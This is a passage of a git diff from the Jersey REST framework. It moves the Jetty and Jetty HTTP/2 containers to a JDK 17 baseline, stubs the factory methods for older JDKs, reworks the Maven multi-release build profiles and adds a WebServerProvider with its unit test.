- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.jetty;
-
-import jakarta.ws.rs.ProcessingException;
-import org.eclipse.jetty.server.Server;
-import org.eclipse.jetty.util.ssl.SslContextFactory;
-import org.glassfish.jersey.internal.util.JdkVersion;
-import org.glassfish.jersey.jetty.internal.LocalizationMessages;
-import org.glassfish.jersey.server.ResourceConfig;
-
-import java.net.URI;
-
-/**
- * Jersey {@code Container} stub.
- *
- * For JDK 1.8 only since Jetty 11 does not support JDKs below 11
- *
- */
-public final class JettyHttpContainerFactory {
-
-    private JettyHttpContainerFactory() {
-    }
-
-    public static Server createServer(final URI uri) throws ProcessingException {
-        validateJdk();
-        return null; // does not work at JDK 1.8
-    }
-
-    public static Server createServer(final URI uri, final boolean start) throws ProcessingException {
-        validateJdk();
-        return null; // does not work at JDK 1.8
-    }
-
-    public static Server createServer(final URI uri, final ResourceConfig config)
-            throws ProcessingException {
-
-        validateJdk();
-        return null; // does not work at JDK 1.8
-    }
-
-    public static Server createServer(final URI uri, final ResourceConfig configuration, final boolean start)
-            throws ProcessingException {
-        validateJdk();
-        return null; // does not work at JDK 1.8
-    }
-
-    public static Server createServer(final URI uri, final ResourceConfig config, final boolean start,
-                                      final Object parentContext) {
-        validateJdk();
-        return null; // does not work at JDK 1.8
-    }
-
-    public static Server createServer(final URI uri, final ResourceConfig config, final Object parentContext) {
-        validateJdk();
-        return null; // does not work at JDK 1.8
-    }
-
-    public static Server createServer(final URI uri, final SslContextFactory.Server sslContextFactory,
-                                      final ResourceConfig config)
-            throws ProcessingException {
-        validateJdk();
-        return null; // does not work at JDK 1.8    }
-    }
-
-    public static Server createServer(final URI uri,
-                                      final SslContextFactory.Server sslContextFactory,
-                                      final JettyHttpContainer handler,
-                                      final boolean start) {
-        validateJdk();
-        return null; // does not work at JDK 1.8
-    }
-
-    private static void validateJdk() {
-        if (JdkVersion.getJdkVersion().getMajor() < 11) {
-            throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
-        }
-    }
-}
diff --git a/containers/jetty-http/src/main/resources/META-INF/services/org.glassfish.jersey.server.spi.WebServerProvider b/containers/jetty-http/src/main/resources/META-INF/services/org.glassfish.jersey.server.spi.WebServerProvider
new file mode 100644
index 0000000..403cc50
--- /dev/null
+++ b/containers/jetty-http/src/main/resources/META-INF/services/org.glassfish.jersey.server.spi.WebServerProvider
@@ -0,0 +1 @@
+org.glassfish.jersey.jetty.JettyHttpServerProvider
\ No newline at end of file
diff --git a/containers/jetty-http/src/main/resources/org/glassfish/jersey/jetty/internal/localization.properties b/containers/jetty-http/src/main/resources/org/glassfish/jersey/jetty/internal/localization.properties
index 6d0d06c..2fb2350 100644
--- a/containers/jetty-http/src/main/resources/org/glassfish/jersey/jetty/internal/localization.properties
+++ b/containers/jetty-http/src/main/resources/org/glassfish/jersey/jetty/internal/localization.properties
@@ -1,5 +1,5 @@
 #
-# Copyright (c) 2013, 2020 Oracle and/or its affiliates. All rights reserved.
+# Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved.
 #
 # This program and the accompanying materials are made available under the
 # terms of the Eclipse Public License v. 2.0, which is available at
@@ -15,10 +15,11 @@
 #
 
 # {0} - status code; {1} - status reason message
+container.started=JettyHttpContainer.handle(...) started.
 exception.sending.error.response=I/O exception occurred while sending "{0}/{1}" error response.
 error.when.creating.server=Exception thrown when trying to create jetty server.
 unable.to.close.response=Unable to close response output.
 uri.cannot.be.null=The URI must not be null.
 wrong.scheme.when.using.http=The URI scheme should be 'http' when not using SSL.
 wrong.scheme.when.using.https=The URI scheme should be 'https' when using SSL.
-not.supported=Jetty container is not supported on JDK version less than 11.
+not.supported=Jetty container is not supported on JDK version less than 17.
diff --git a/containers/jetty-http/src/test/java/org/glassfish/jersey/jetty/AbstractJettyServerTester.java b/containers/jetty-http/src/test/java/org/glassfish/jersey/jetty/AbstractJettyServerTester.java
index 3a953e1..7519624 100644
--- a/containers/jetty-http/src/test/java/org/glassfish/jersey/jetty/AbstractJettyServerTester.java
+++ b/containers/jetty-http/src/test/java/org/glassfish/jersey/jetty/AbstractJettyServerTester.java
@@ -1,5 +1,6 @@
 /*
  * Copyright (c) 2010, 2023 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2022 Contributors to the Eclipse Foundation
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -29,6 +30,7 @@
 import org.glassfish.jersey.server.ResourceConfig;
 
 import org.eclipse.jetty.server.Server;
+import org.eclipse.jetty.server.ServerConnector;
 import org.junit.jupiter.api.AfterEach;
 
 /**
@@ -51,20 +53,24 @@
      * @return The HTTP port of the URI
      */
     protected final int getPort() {
+        if (server != null) {
+            return ((ServerConnector) server.getConnectors()[0]).getLocalPort();
+        }
+
         final String value = AccessController
                 .doPrivileged(PropertiesHelper.getSystemProperty("jersey.config.test.container.port"));
         if (value != null) {
 
             try {
                 final int i = Integer.parseInt(value);
-                if (i <= 0) {
-                    throw new NumberFormatException("Value not positive.");
+                if (i < 0) {
+                    throw new NumberFormatException("Value is negative.");
                 }
                 return i;
             } catch (NumberFormatException e) {
                 LOGGER.log(Level.CONFIG,
                         "Value of 'jersey.config.test.container.port'"
-                                + " property is not a valid positive integer [" + value + "]."
+                                + " property is not a valid non-negative integer [" + value + "]."
                                 + " Reverting to default [" + DEFAULT_PORT + "].",
                         e);
             }
@@ -89,18 +95,16 @@
         return UriBuilder.fromUri("http://localhost").port(getPort(RuntimeType.CLIENT)).path(CONTEXT);
     }
 
-    public void startServer(Class... resources) {
+    public void startServer(Class<?>... resources) {
         ResourceConfig config = new ResourceConfig(resources);
         config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
-        final URI baseUri = getBaseUri();
-        server = JettyHttpContainerFactory.createServer(baseUri, config);
-        LOGGER.log(Level.INFO, "Jetty-http server started on base uri: " + server.getURI());
+        startServer(config);
     }
 
     public void startServer(ResourceConfig config) {
         final URI baseUri = getBaseUri();
         server = JettyHttpContainerFactory.createServer(baseUri, config);
-        LOGGER.log(Level.INFO, "Jetty-http server started on base uri: " + server.getURI());
+        LOGGER.log(Level.INFO, "Jetty-http server started on base uri: " + getBaseUri());
     }
 
     public URI getBaseUri() {
diff --git a/containers/jetty-http/src/test/java/org/glassfish/jersey/jetty/JettyHttpServerProviderTest.java b/containers/jetty-http/src/test/java/org/glassfish/jersey/jetty/JettyHttpServerProviderTest.java
new file mode 100644
index 0000000..004a334
--- /dev/null
+++ b/containers/jetty-http/src/test/java/org/glassfish/jersey/jetty/JettyHttpServerProviderTest.java
@@ -0,0 +1,196 @@
+/*
+ * Copyright (c) 2021, 2023 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2018 Markus KARG. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty;
+
+import static java.lang.Boolean.FALSE;
+import static java.lang.Boolean.TRUE;
+import static org.hamcrest.CoreMatchers.instanceOf;
+import static org.hamcrest.CoreMatchers.is;
+import static org.hamcrest.CoreMatchers.nullValue;
+import static org.hamcrest.MatcherAssert.assertThat;
+import static org.hamcrest.Matchers.greaterThan;
+
+import java.security.AccessController;
+import java.security.NoSuchAlgorithmException;
+import java.util.Collections;
+import java.util.Set;
+import java.util.concurrent.CompletionStage;
+import java.util.concurrent.ExecutionException;
+import java.util.concurrent.TimeUnit;
+import java.util.logging.Level;
+import java.util.logging.Logger;
+
+import javax.net.ssl.SSLContext;
+
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.SeBootstrap;
+import jakarta.ws.rs.SeBootstrap.Configuration.SSLClientAuthentication;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.client.ClientBuilder;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.UriBuilder;
+
+import org.glassfish.jersey.internal.util.PropertiesHelper;
+import org.glassfish.jersey.server.ServerProperties;
+import org.glassfish.jersey.server.spi.Container;
+import org.glassfish.jersey.server.spi.WebServer;
+import org.glassfish.jersey.server.spi.WebServerProvider;
+import org.junit.jupiter.api.Test;
+import org.junit.jupiter.api.Timeout;
+
+/**
+ * Unit tests for {@link JettyHttpServerProvider}.
+ *
+ * @author Markus KARG (markus@headcrashing.eu)
+ * @since 3.1.0
+ */
+public final class JettyHttpServerProviderTest {
+
+    @Test
+    @Timeout(value = 15000L, unit = TimeUnit.MILLISECONDS)
+    public void shouldProvideServer() throws InterruptedException, ExecutionException {
+        // given
+        final Resource resource = new Resource();
+        shouldProvideServer(ShouldProvideServerApplication.class, resource);
+    }
+
+    @Test
+    @Timeout(value = 15000L, unit = TimeUnit.MILLISECONDS)
+    public void shouldProvideServerWithClass() throws InterruptedException, ExecutionException {
+        // given
+        final Resource resource = new Resource();
+        final Application application = new ShouldProvideServerApplication();
+        shouldProvideServer(application.getClass(), resource);
+    }
+
+    private void shouldProvideServer(final Object application, final Resource resource)
+            throws InterruptedException, ExecutionException {
+        // given
+        final WebServerProvider webServerProvider = new JettyHttpServerProvider();
+        final SeBootstrap.Configuration configuration = configuration(getPort(), FALSE);
+
+        // when
+        final WebServer webServer = Application.class.isInstance(application)
+                ? webServerProvider.createServer(WebServer.class, (Application) application, configuration)
+                : webServerProvider.createServer(WebServer.class, (Class<Application>) application, configuration);
+        final Object nativeHandle = webServer.unwrap(Object.class);
+        final CompletionStage<?> start = webServer.start();
+        final Object startResult = start.toCompletableFuture().get();
+        final Container container = webServer.container();
+        final int port = webServer.port();
+        final String entity = ClientBuilder.newClient()
+                .target(UriBuilder.newInstance().scheme("http").host("localhost").port(port).build()).request()
+                .get(String.class);
+        final CompletionStage<?> stop = webServer.stop();
+        final Object stopResult = stop.toCompletableFuture().get();
+
+        // then
+        assertThat(webServer, is(instanceOf(JettyHttpServer.class)));
+        assertThat(nativeHandle, is(instanceOf(org.eclipse.jetty.server.Server.class)));
+        assertThat(startResult, is(nullValue()));
+        assertThat(container, is(instanceOf(JettyHttpContainer.class)));
+        assertThat(port, is(greaterThan(0)));
+        assertThat(entity, is(resource.toString()));
+        assertThat(stopResult, is(nullValue()));
+    }
+
+    @Path("/")
+    protected static final class Resource {
+        @GET
+        @Override
+        public String toString() {
+            return Resource.class.getName();
+        }
+    }
+
+    protected static class ShouldProvideServerApplication extends Application {
+        @Override
+        public Set<Object> getSingletons() {
+            return Collections.singleton(new Resource());
+        }
+    }
+
+    private static final Logger LOGGER = Logger.getLogger(JettyHttpServerProviderTest.class.getName());
+
+    private static final int DEFAULT_PORT = 0;
+
+    private static final int getPort() {
+        final String value = AccessController
+                .doPrivileged(PropertiesHelper.getSystemProperty("jersey.config.test.container.port"));
+        if (value != null) {
+            try {
+                final int i = Integer.parseInt(value);
+                if (i < 0) {
+                    throw new NumberFormatException("Value is negative.");
+                }
+                return i;
+            } catch (final NumberFormatException e) {
+                LOGGER.log(Level.CONFIG,
+                        "Value of 'jersey.config.test.container.port'"
+                                + " property is not a valid non-negative integer [" + value + "]."
+                                + " Reverting to default [" + DEFAULT_PORT + "].",
+                        e);
+            }
+        }
+
+        return DEFAULT_PORT;
+    }
+
+    @Test
+    @Timeout(value = 15000L, unit = TimeUnit.MILLISECONDS)
+    public final void shouldScanFreePort() throws InterruptedException, ExecutionException {
+        // given
+        final WebServerProvider webServerProvider = new JettyHttpServerProvider();
+        final Application application = new Application();
+        final SeBootstrap.Configuration configuration = configuration(SeBootstrap.Configuration.FREE_PORT, TRUE);
+
+        // when
+        final WebServer webServer = webServerProvider.createServer(WebServer.class, application, configuration);
+
+        // then
+        assertThat(webServer.port(), is(greaterThan(0)));
+    }
+
+    private SeBootstrap.Configuration configuration(int port, boolean autoStart) {
+        return (SeBootstrap.Configuration) name -> {
+            switch (name) {
+                case SeBootstrap.Configuration.PROTOCOL:
+                    return "HTTP";
+                case SeBootstrap.Configuration.HOST:
+                    return "localhost";
+                case SeBootstrap.Configuration.PORT:
+                    return port;
+                case SeBootstrap.Configuration.ROOT_PATH:
+                    return "/";
+                case SeBootstrap.Configuration.SSL_CLIENT_AUTHENTICATION:
+                    return SSLClientAuthentication.NONE;
+                case SeBootstrap.Configuration.SSL_CONTEXT:
+                    try {
+                        return SSLContext.getDefault();
+                    } catch (final NoSuchAlgorithmException e) {
+                        throw new RuntimeException(e);
+                    }
+                case ServerProperties.WEBSERVER_AUTO_START:
+                    return autoStart;
+                default:
+                    return null;
+            }
+        };
+    }
+
+}
\ No newline at end of file
diff --git a/containers/jetty-http2/pom.xml b/containers/jetty-http2/pom.xml
index 59d26ef..fd9a89b 100644
--- a/containers/jetty-http2/pom.xml
+++ b/containers/jetty-http2/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2023, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2023, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <artifactId>project</artifactId>
         <groupId>org.glassfish.jersey.containers</groupId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-container-jetty-http2</artifactId>
@@ -32,6 +32,13 @@
 
     <description>Jetty Http2 Container</description>
 
+    <properties>
+        <java11.build.outputDirectory>${project.basedir}/target</java11.build.outputDirectory>
+        <java11.sourceDirectory>${project.basedir}/src/main/java11</java11.sourceDirectory>
+        <java17.build.outputDirectory>${project.basedir}/target17</java17.build.outputDirectory>
+        <java17.sourceDirectory>${project.basedir}/src/main/java17</java17.sourceDirectory>
+    </properties>
+
     <dependencies>
         <dependency>
             <groupId>org.glassfish.jersey.containers</groupId>
@@ -44,16 +51,6 @@
         </dependency>
         <dependency>
             <groupId>org.eclipse.jetty</groupId>
-            <artifactId>jetty-server</artifactId>
-            <exclusions>
-                <exclusion>
-                    <groupId>org.slf4j</groupId>
-                    <artifactId>slf4j-api</artifactId>
-                </exclusion>
-            </exclusions>
-        </dependency>
-        <dependency>
-            <groupId>org.eclipse.jetty</groupId>
             <artifactId>jetty-util</artifactId>
             <exclusions>
                 <exclusion>
@@ -63,16 +60,6 @@
             </exclusions>
         </dependency>
         <dependency>
-            <groupId>org.eclipse.jetty.http2</groupId>
-            <artifactId>http2-server</artifactId>
-            <exclusions>
-                <exclusion>
-                    <groupId>org.slf4j</groupId>
-                    <artifactId>slf4j-api</artifactId>
-                </exclusion>
-            </exclusions>
-        </dependency>
-        <dependency>
             <groupId>org.eclipse.jetty</groupId>
             <artifactId>jetty-alpn-conscrypt-server</artifactId>
             <exclusions>
@@ -129,84 +116,15 @@
         </resources>
     </build>
 
-    <properties>
-        <java8.build.outputDirectory>${project.basedir}/target</java8.build.outputDirectory>
-        <java8.sourceDirectory>${project.basedir}/src/main/java8</java8.sourceDirectory>
-        <java11.build.outputDirectory>${project.basedir}/target11</java11.build.outputDirectory>
-        <java11.sourceDirectory>${project.basedir}/src/main/java11</java11.sourceDirectory>
-    </properties>
-
-
     <profiles>
         <profile>
             <id>JettyExclude</id>
             <activation>
-                <jdk>1.8</jdk>
+                <jdk>[11,17)</jdk>
             </activation>
             <properties>
-                <jetty.version>${jetty9.version}</jetty.version>
+                <jetty.version>${jetty11.version}</jetty.version>
             </properties>
-            <dependencies>
-                <dependency>
-                    <groupId>org.eclipse.jetty</groupId>
-                    <artifactId>jetty-client</artifactId>
-                    <version>${jetty.version}</version>
-                    <exclusions>
-                        <exclusion>
-                            <groupId>org.slf4j</groupId>
-                            <artifactId>slf4j-api</artifactId>
-                        </exclusion>
-                    </exclusions>
-                </dependency>
-                <dependency>
-                    <groupId>org.eclipse.jetty</groupId>
-                    <artifactId>jetty-util</artifactId>
-                    <version>${jetty.version}</version>
-                    <exclusions>
-                        <exclusion>
-                            <groupId>org.slf4j</groupId>
-                            <artifactId>slf4j-api</artifactId>
-                        </exclusion>
-                    </exclusions>
-                </dependency>
-            </dependencies>
-            <build>
-                <directory>${java8.build.outputDirectory}</directory>
-                <plugins>
-                    <plugin>
-                        <groupId>org.codehaus.mojo</groupId>
-                        <artifactId>build-helper-maven-plugin</artifactId>
-                        <executions>
-                            <execution>
-                                <phase>generate-sources</phase>
-                                <goals>
-                                    <goal>add-source</goal>
-                                </goals>
-                                <configuration>
-                                    <sources>
-                                        <source>${java8.sourceDirectory}</source>
-                                    </sources>
-                                </configuration>
-                            </execution>
-                        </executions>
-                    </plugin>
-                    <plugin>
-                        <groupId>org.apache.maven.plugins</groupId>
-                        <artifactId>maven-compiler-plugin</artifactId>
-                        <configuration>
-                            <testExcludes>
-                                <testExclude>org/glassfish/jersey/jetty/http2/*.java</testExclude>
-                            </testExcludes>
-                        </configuration>
-                    </plugin>
-                </plugins>
-            </build>
-        </profile>
-        <profile>
-            <id>Jetty11</id>
-            <activation>
-                <jdk>[11,)</jdk>
-            </activation>
             <build>
                 <directory>${java11.build.outputDirectory}</directory>
                 <plugins>
@@ -227,17 +145,76 @@
                             </execution>
                         </executions>
                     </plugin>
+                    <plugin>
+                        <groupId>org.apache.maven.plugins</groupId>
+                        <artifactId>maven-compiler-plugin</artifactId>
+                        <configuration>
+                            <testExcludes>
+                                <testExclude>org/glassfish/jersey/jetty/http2/*.java</testExclude>
+                            </testExcludes>
+                        </configuration>
+                    </plugin>
                 </plugins>
             </build>
         </profile>
         <profile>
-            <id>copyJDK11FilesToMultiReleaseJar</id>
+            <id>JettyInclude</id>
+            <activation>
+                <jdk>[17,)</jdk>
+            </activation>
+            <dependencies>
+                <dependency>
+                    <groupId>org.eclipse.jetty</groupId>
+                    <artifactId>jetty-server</artifactId>
+                    <exclusions>
+                        <exclusion>
+                            <groupId>org.slf4j</groupId>
+                            <artifactId>slf4j-api</artifactId>
+                        </exclusion>
+                    </exclusions>
+                </dependency>
+                <dependency>
+                    <groupId>org.eclipse.jetty.http2</groupId>
+                    <artifactId>jetty-http2-server</artifactId>
+                    <exclusions>
+                        <exclusion>
+                            <groupId>org.slf4j</groupId>
+                            <artifactId>slf4j-api</artifactId>
+                        </exclusion>
+                    </exclusions>
+                </dependency>
+            </dependencies>
+            <build>
+                <directory>${java17.build.outputDirectory}</directory>
+                <plugins>
+                    <plugin>
+                        <groupId>org.codehaus.mojo</groupId>
+                        <artifactId>build-helper-maven-plugin</artifactId>
+                        <executions>
+                            <execution>
+                                <phase>generate-sources</phase>
+                                <goals>
+                                    <goal>add-source</goal>
+                                </goals>
+                                <configuration>
+                                    <sources>
+                                        <source>${java17.sourceDirectory}</source>
+                                    </sources>
+                                </configuration>
+                            </execution>
+                        </executions>
+                    </plugin>
+                </plugins>
+            </build>
+        </profile>
+        <profile>
+            <id>copyJDK17FilesToMultiReleaseJar</id>
             <activation>
                 <file>
-                    <!-- ${java11.build.outputDirectory} does not work here -->
-                    <exists>target11/classes/org/glassfish/jersey/jetty/JettyHttp2ContainerFactory.class</exists>
+                    <!-- ${java17.build.outputDirectory} does not work here -->
+                    <exists>target17/classes/org/glassfish/jersey/jetty/http2/JettyHttp2ContainerFactory.class</exists>
                 </file>
-                <jdk>1.8</jdk>
+                <jdk>[11,17)</jdk>
             </activation>
             <build>
                 <plugins>
@@ -258,16 +235,16 @@
                         <inherited>true</inherited>
                         <executions>
                             <execution>
-                                <id>copy-jdk11-classes</id>
+                                <id>copy-jdk17-classes</id>
                                 <phase>prepare-package</phase>
                                 <goals>
                                     <goal>copy-resources</goal>
                                 </goals>
                                 <configuration>
-                                    <outputDirectory>${java8.build.outputDirectory}/classes/META-INF/versions/11</outputDirectory>
+                                    <outputDirectory>${java11.build.outputDirectory}/classes/META-INF/versions/17</outputDirectory>
                                     <resources>
                                         <resource>
-                                            <directory>${java11.build.outputDirectory}/classes</directory>
+                                            <directory>${java17.build.outputDirectory}/classes</directory>
                                         </resource>
                                     </resources>
                                 </configuration>
@@ -279,14 +256,14 @@
                         <artifactId>maven-antrun-plugin</artifactId>
                         <executions>
                             <execution>
-                                <id>copy-jdk11-sources</id>
+                                <id>copy-jdk17-sources</id>
                                 <phase>package</phase>
                                 <configuration>
                                     <target>
-                                        <property name="sources-jar" value="${java8.build.outputDirectory}/${project.artifactId}-${project.version}-sources.jar"/>
+                                        <property name="sources-jar" value="${java11.build.outputDirectory}/${project.artifactId}-${project.version}-sources.jar"/>
                                         <echo>sources-jar: ${sources-jar}</echo>
                                         <zip destfile="${sources-jar}" update="true">
-                                            <zipfileset dir="${java11.sourceDirectory}" prefix="META-INF/versions/11"/>
+                                            <zipfileset dir="${java17.sourceDirectory}" prefix="META-INF/versions/17"/>
                                         </zip>
                                     </target>
                                 </configuration>
@@ -301,4 +278,4 @@
         </profile>
     </profiles>
 
-</project>
+</project>
\ No newline at end of file
diff --git a/containers/jetty-http2/src/main/java/org/glassfish/jersey/jetty/http2/package-info.java b/containers/jetty-http2/src/main/java/org/glassfish/jersey/jetty/http2/package-info.java
index a402b27..3c43588 100644
--- a/containers/jetty-http2/src/main/java/org/glassfish/jersey/jetty/http2/package-info.java
+++ b/containers/jetty-http2/src/main/java/org/glassfish/jersey/jetty/http2/package-info.java
@@ -17,4 +17,4 @@
 /**
  * Jersey Jetty HTTP2 container classes.
  */
-package org.glassfish.jersey.jetty.http2;
+package org.glassfish.jersey.jetty.http2;
\ No newline at end of file
diff --git a/containers/jetty-http2/src/main/java11/org/glassfish/jersey/jetty/http2/JettyHttp2ContainerFactory.java b/containers/jetty-http2/src/main/java11/org/glassfish/jersey/jetty/http2/JettyHttp2ContainerFactory.java
index b03f409..cdea00a 100644
--- a/containers/jetty-http2/src/main/java11/org/glassfish/jersey/jetty/http2/JettyHttp2ContainerFactory.java
+++ b/containers/jetty-http2/src/main/java11/org/glassfish/jersey/jetty/http2/JettyHttp2ContainerFactory.java
@@ -16,20 +16,12 @@
 
 package org.glassfish.jersey.jetty.http2;
 
-import org.eclipse.jetty.alpn.server.ALPNServerConnectionFactory;
-import org.eclipse.jetty.http2.server.HTTP2CServerConnectionFactory;
-import org.eclipse.jetty.http2.server.HTTP2ServerConnectionFactory;
-import org.eclipse.jetty.server.ConnectionFactory;
-import org.eclipse.jetty.server.Connector;
-import org.eclipse.jetty.server.HttpConfiguration;
-import org.eclipse.jetty.server.HttpConnectionFactory;
 import org.eclipse.jetty.server.Server;
-import org.eclipse.jetty.server.ServerConnector;
-import org.eclipse.jetty.server.SslConnectionFactory;
 import org.eclipse.jetty.util.ssl.SslContextFactory;
+
+import org.glassfish.jersey.internal.util.JdkVersion;
 import org.glassfish.jersey.jetty.JettyHttpContainer;
-import org.glassfish.jersey.jetty.JettyHttpContainerFactory;
-import org.glassfish.jersey.jetty.JettyHttpContainerProvider;
+import org.glassfish.jersey.jetty.http2.LocalizationMessages;
 import org.glassfish.jersey.server.ContainerFactory;
 import org.glassfish.jersey.server.ResourceConfig;
 
@@ -44,174 +36,40 @@
 
     }
 
-    /**
-     * Creates HTTP/2 enabled  {@link Server} instance that registers an {@link org.eclipse.jetty.server.Handler}.
-     *
-     * @param uri uri on which the {@link org.glassfish.jersey.server.ApplicationHandler} will be deployed. Only first path
-     *            segment will be used as context path, the rest will be ignored.
-     * @return newly created {@link Server}.
-     *
-     * @throws ProcessingException      in case of any failure when creating a new Jetty {@code Server} instance.
-     * @throws IllegalArgumentException if {@code uri} is {@code null}.
-     */
     public static Server createHttp2Server(final URI uri) throws ProcessingException {
-        return createHttp2Server(uri, null, null, true);
+        validateJdk();
+        return null; // does not work at JDK lower than 17
     }
 
-    /**
-     * Create HTTP/2 enabled {@link Server} that registers an {@link org.eclipse.jetty.server.Handler} that
-     * in turn manages all root resource and provider classes declared by the
-     * resource configuration.
-     * <p/>
-     * This implementation defers to the
-     * {@link org.glassfish.jersey.server.ContainerFactory#createContainer(Class, jakarta.ws.rs.core.Application)} method
-     * for creating an Container that manages the root resources.
-     *
-     * @param uri           URI on which the Jersey web application will be deployed. Only first path segment will be
-     *                      used as context path, the rest will be ignored.
-     * @param configuration web application configuration.
-     * @param start         if set to false, server will not get started, which allows to configure the underlying
-     *                      transport layer, see above for details.
-     * @return newly created {@link Server}.
-     *
-     * @throws ProcessingException      in case of any failure when creating a new Jetty {@code Server} instance.
-     * @throws IllegalArgumentException if {@code uri} is {@code null}.
-     */
     public static Server createHttp2Server(final URI uri, final ResourceConfig configuration, final boolean start)
             throws ProcessingException {
-        return createHttp2Server(uri, null,
-                ContainerFactory.createContainer(JettyHttpContainer.class, configuration), start);
+        validateJdk();
+        return null; // does not work at JDK lower than 17
     }
 
-    /**
-     * Creates HTTP/2 enabled  {@link Server} instance that registers an {@link org.eclipse.jetty.server.Handler}.
-     *
-     * @param uri   uri on which the {@link org.glassfish.jersey.server.ApplicationHandler} will be deployed. Only first path
-     *              segment will be used as context path, the rest will be ignored.
-     * @param start if set to false, server will not get started, which allows to configure the underlying transport
-     *              layer, see above for details.
-     * @return newly created {@link Server}.
-     *
-     * @throws ProcessingException      in case of any failure when creating a new Jetty {@code Server} instance.
-     * @throws IllegalArgumentException if {@code uri} is {@code null}.
-     *
-     * @since 2.40
-     */
-
     public static Server createHttp2Server(final URI uri, final boolean start) throws ProcessingException {
-        return createHttp2Server(uri, null, null, start);
+        validateJdk();
+        return null; // does not work at JDK lower than 17
     }
 
-    /**
-     * Create HTTP/2 enabled {@link Server} that registers an {@link org.eclipse.jetty.server.Handler} that
-     * in turn manages all root resource and provider classes declared by the
-     * resource configuration.
-     *
-     * @param uri           the URI to create the http server. The URI scheme must be
-     *                      equal to "https". The URI user information and host
-     *                      are ignored If the URI port is not present then port 143 will be
-     *                      used. The URI path, query and fragment components are ignored.
-     * @param config        the resource configuration.
-     * @param parentContext DI provider specific context with application's registered bindings.
-     * @param start         if set to false, server will not get started, this allows end users to set
-     *                      additional properties on the underlying listener.
-     * @return newly created {@link Server}.
-     *
-     * @throws ProcessingException      in case of any failure when creating a new Jetty {@code Server} instance.
-     * @throws IllegalArgumentException if {@code uri} is {@code null}.
-     * @see JettyHttpContainer
-     *
-     * @since 2.40
-     */
     public static Server createHttp2Server(final URI uri, final ResourceConfig config, final boolean start,
                                            final Object parentContext) {
-        return createHttp2Server(uri, null,
-                new JettyHttpContainerProvider().createContainer(JettyHttpContainer.class,
-                        config, parentContext), start);
+        validateJdk();
+        return null; // does not work at JDK lower than 17
     }
 
-    /**
-     * Create HTTP/2 enabled {@link Server} that registers an {@link org.eclipse.jetty.server.Handler} that
-     * in turn manages all root resource and provider classes found by searching the
-     * classes referenced in the java classpath.
-     *
-     * @param uri               the URI to create the http server. The URI scheme must be
-     *                          equal to {@code https}. The URI user information and host
-     *                          are ignored. If the URI port is not present then port
-     *                          {@value org.glassfish.jersey.server.spi.Container#DEFAULT_HTTPS_PORT} will be
-     *                          used. The URI path, query and fragment components are ignored.
-     * @param sslContextFactory this is the SSL context factory used to configure SSL connector
-     * @param handler           the container that handles all HTTP requests
-     * @param start             if set to false, server will not get started, this allows end users to set
-     *                          additional properties on the underlying listener.
-     * @return newly created {@link Server}.
-     *
-     * @throws ProcessingException      in case of any failure when creating a new Jetty {@code Server} instance.
-     * @throws IllegalArgumentException if {@code uri} is {@code null}.
-     * @see JettyHttpContainer
-     *
-     * @since 2.40
-     */
     public static Server createHttp2Server(final URI uri,
                                            final SslContextFactory.Server sslContextFactory,
                                            final JettyHttpContainer handler,
                                            final boolean start) {
 
-        /**
-         * Creating basic Jetty HTTP/1.1 container (but always not started)
-         */
-        final Server server = JettyHttpContainerFactory.createServer(uri, sslContextFactory, handler, false);
-        /**
-         * Obtain configured HTTP connection factory
-         */
-        final ServerConnector httpServerConnector = (ServerConnector) server.getConnectors()[0];
-        final HttpConnectionFactory httpConnectionFactory = httpServerConnector.getConnectionFactory(HttpConnectionFactory.class);
-
-        /**
-         * Obtain prepared config
-         */
-        final HttpConfiguration config = httpConnectionFactory.getHttpConfiguration();
-
-        /**
-         * Add required H2/H2C connection factories using pre-configured config from the HTTP/1.1 server
-         */
-        final List<ConnectionFactory> factories = getConnectionFactories(config, sslContextFactory);
-
-        /**
-         * adding connection factories for H2/H2C protocol
-         */
-        for (final ConnectionFactory factory : factories) {
-            httpServerConnector.addConnectionFactory(factory);
-        }
-        server.setConnectors(new Connector[]{httpServerConnector});
-
-        /**
-         * Starting the server if required
-         */
-        if (start) {
-            try {
-                // Start the server.
-                server.start();
-            } catch (final Exception e) {
-                throw new ProcessingException(LocalizationMessages.ERROR_WHEN_CREATING_SERVER(), e);
-            }
-        }
-        return server;
+        validateJdk();
+        return null; // does not work at JDK lower than 17
     }
 
-    private static List<ConnectionFactory> getConnectionFactories(final HttpConfiguration config,
-                                                                  final SslContextFactory.Server sslContextFactory) {
-        final List<ConnectionFactory> factories = new ArrayList<>();
-        if (sslContextFactory != null) {
-            factories.add(new HTTP2ServerConnectionFactory(config));
